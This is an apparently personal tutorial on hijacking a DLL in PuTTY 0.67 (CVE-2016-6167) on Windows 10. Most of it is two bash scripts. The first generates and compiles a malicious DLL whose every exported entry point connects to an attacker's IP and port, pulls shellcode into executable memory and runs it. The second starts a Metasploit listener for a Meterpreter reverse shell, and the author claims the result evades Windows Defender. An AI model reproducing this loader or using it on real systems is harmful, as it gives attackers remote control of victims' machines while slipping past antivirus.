It is vital to understand how these vulnerabilities in fact work (DLL Hijacking from valid Windows PE32 executables) So we will prepare a real world scenario and will use an outdated piece of software for this demonstration and run it on a fully patched Windows 10 x86_64 with up2date Windows Defender.
- Windows 10 x86_64 – August 30, 2018—KB4346783 (OS Build 17134.254)
- Windows Defender – Definitions 1.275.948.0 (September 8 2018)
- Putty 32 bit 0.67 – Vulnerable to CVE-2016-6167 ( Downloadable here https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.67.html)
- Metasploit Framework (metasploit v5.0.0-dev-741bbefae8) running on Linux Mint 19
- Linux x86_64 (I run Mint 19)
- dos2unix converter
- Mingw32 properly installed on Linux x86_64
Also for the analysis of the DLL vulnerabilities we will need the following tools to be executed on Windows 10
- Sysinternals suite (especially the Procmon.exe) (https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)
- Dll Export Viewer from Nirsoft (http://www.nirsoft.net/utils/dll_export_viewer.html)
So once we have all this lets download Putty 0.67 32bit, procmon.exe and dllexp to the Windows 10 environment (I run it inside a VirtualBox guest)
Lets first prepare some filter rules for procmon.exe as the output gets to be a little heavy and we are only interested in the putty.exe process anyway. So here is the vulnerable output from the procmon
What we get is a list of Dlls that are obviously being looked for in a wrong place, in this case the user’s dekstop (which is in fact the Dll hijacking scenario now) So imagine we could place a specially crafted dll in this place and re-run vulnerable putty.exe. It would load the Dll right ? Well its not that easy, because Dll need to have a valid entry point (function) called prior execution. So when putty.exe looks for one of the shared libraries it needs, it will call a function from within and use it. So for our exploit to work we will need to know the name of the entry point as well.
Lets find out all the entry points from the valid Dlls that are listed above. We will use the Nirsoft tool called dllxp. We will use the TextInputFramework.dll as an example. Lets load it in dllxp as follows:
And once opened copy paste the Entry point list to a text file that we shall save under the same Dll name for convenience (txt extension) ((which would be later fed to a custom metasploit script)
So now we have a list of all Entry Points, but which one is the right one to spoof with the Dll exploit ? We need to transfer this text file back to our attacker machine from which we will prepare and compile our Dll to be used in the attack. First of all convert the DOS endlines to UNIX format via dos2unix command and place the text file with the entry points to a location from which you will be executing the next script
I have written a following script that helps in this case. What it does it produces a meterpreter reverse loader function call with each of the above entry points, this kinda brute-forcing the vulnerable Dll function when putty.exe calls it. Below is the code that I have placed inside my meteasploit root directory (does not have to be there of course)
#!/bin/bash clear echo "****************************************************************" echo " Automatic C source code generator - FOR METASPLOIT " echo " Based on rsmudge metasploit-loader " echo " Dll-EntryPoint Generator astr0 " echo "****************************************************************" echo -en 'Metasploit server IP : ' read ip echo -en 'Metasploit port number (Choose something over TCP 1000) : ' read port echo -en "File with dll-entries from dllexp binary (make sure you did fromdos on it) /path/to/file :" read file echo -en "DLL filename : " rm -f final-temp.c temp.c custom-temp.c read dllfilename rm -f custom-temp.c rm -f temp.c # Add any DLL overrides here (functions that do not compile) # Temporary fix for the TextInputFramework.dll errors sed -i '/DllCanUnloadNow/d' $file sed -i '/DllGetClassObject/d' $file echo '#include <stdio.h>'> temp.c echo '#include <stdlib.h>' >> temp.c echo '#include <winsock2.h>' >> temp.c echo '#include <windows.h>' >> temp.c echo -n 'unsigned char server[]="' >> temp.c echo -n $ip >> temp.c echo -n '";' >> temp.c echo '' >> temp.c echo -n 'unsigned char serverp[]="' >> temp.c echo -n $port >> temp.c echo -n '";' >> temp.c echo '' >> temp.c echo 'void winsock_init() {' >> temp.c echo ' WSADATA wsaData;' >> temp.c echo ' WORD wVersionRequested;' >> temp.c echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c echo ' printf("bad\n"); '>> temp.c echo ' WSACleanup(); '>> temp.c echo ' exit(1);'>> temp.c echo ' }' >> temp.c echo ' }' >> temp.c echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c echo ' printf("r %s\n", error);'>> temp.c echo ' closesocket(my_socket);'>> temp.c echo ' WSACleanup();'>> temp.c echo ' exit(1);' >> temp.c echo ' }' >> temp.c echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c echo ' int tret = 0;'>> temp.c echo ' int nret = 0;'>>temp.c echo ' void * startb = buffer;'>> temp.c echo ' while (tret < len) {'>>temp.c echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c echo ' startb += nret;'>> temp.c echo ' tret += nret;'>>temp.c echo ' if (nret == SOCKET_ERROR)'>> temp.c echo ' punt(my_socket, "no data");'>> temp.c echo ' }'>>temp.c echo ' return tret;'>> temp.c echo '}' >> temp.c echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c echo ' struct hostent * target;' >> temp.c echo ' struct sockaddr_in sock;' >> temp.c echo ' SOCKET my_socket;'>>temp.c echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c echo ' if (my_socket == INVALID_SOCKET)'>> temp.c echo ' punt(my_socket, ".");'>>temp.c echo ' target = gethostbyname(targetip);'>>temp.c echo ' if (target == NULL)'>>temp.c echo ' punt(my_socket, "..");'>>temp.c echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c echo ' sock.sin_family = AF_INET;'>> temp.c echo ' sock.sin_port = htons(port);'>>temp.c echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c echo ' punt(my_socket, "...");'>>temp.c echo ' return my_socket;'>>temp.c echo ' }'>> temp.c for i in `cat $file` ; do echo -n 'int ' >> custom-temp.c echo -n $i >> custom-temp.c echo '(int argc, char * argv[]) {' >> custom-temp.c echo ' FreeConsole();'>> custom-temp.c echo ' ULONG32 size;'>> custom-temp.c echo ' char * buffer;'>> custom-temp.c echo ' void (*function)();'>> custom-temp.c echo ' winsock_init();'>> custom-temp.c echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>> custom-temp.c echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>> custom-temp.c echo ' if (count != 4 || size <= 0)'>> custom-temp.c echo ' punt(my_socket, "error lenght\n");'>> custom-temp.c echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>> custom-temp.c echo ' if (buffer == NULL)'>> custom-temp.c echo ' punt(my_socket, "error in buf\n");'>> custom-temp.c echo ' buffer[0] = 0xBF;'>> custom-temp.c echo ' memcpy(buffer + 1, &my_socket, 4);'>> custom-temp.c echo ' count = recv_all(my_socket, buffer + 5, size);'>> custom-temp.c echo ' function = (void (*)())buffer;'>> custom-temp.c echo ' function();'>> custom-temp.c echo ' return 0;'>> custom-temp.c echo '}' >> custom-temp.c done; cat temp.c custom-temp.c > final-temp.c echo 'Compiling C code to Dll ..' #x86_64-w64-mingw32-gcc final-temp.c -o payload.dll -lws2_32 -shared i686-w64-mingw32-gcc-7.3-win32 final-temp.c -o payload.dll -lws2_32 -shared strip payload.dll echo 'Renaming to' $dllfilename mv payload.dll $dllfilename ls -la $dllfilename
The script will produce a Dll filename which needs to have the same name as the one we are going to spoof. In our case we call it TextInputFramework.dll
Next is a simple Listener script for the Metasploit framework to make things easier (place it in the metasploit-framework root dir)
#!/bin/bash clear echo "***************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " Metasploit custom listener for DLL exploit " echo "***************************************************************" echo -e "What IP are we gonna listen to ? \c" read host echo -e "What Port Number are we gonna listen to? : \c" read port echo "Starting the meterpreter listener.." echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp ; set LHOST ' > run.listener.sh echo -n $host >> run.listener.sh echo -n '; set LPORT ' >> run.listener.sh echo -n $port >> run.listener.sh # Set the runtime options for autorun echo -n '; run"' >> run.listener.sh chmod +x run.listener.sh ./run.listener.sh
So now we should have everything ready for the attack demonstration. Load the above listener and upload the TextInputFramework.dll to the Win10 environment and place it in a directory where the vulnerable Putty.exe is. Then just execute Putty.exe and a meterpreter shell should pop up on your attacker box. Pretty neat hey ? We have bypassed the latest MS AV as well.
Video demonstration below
Enjoy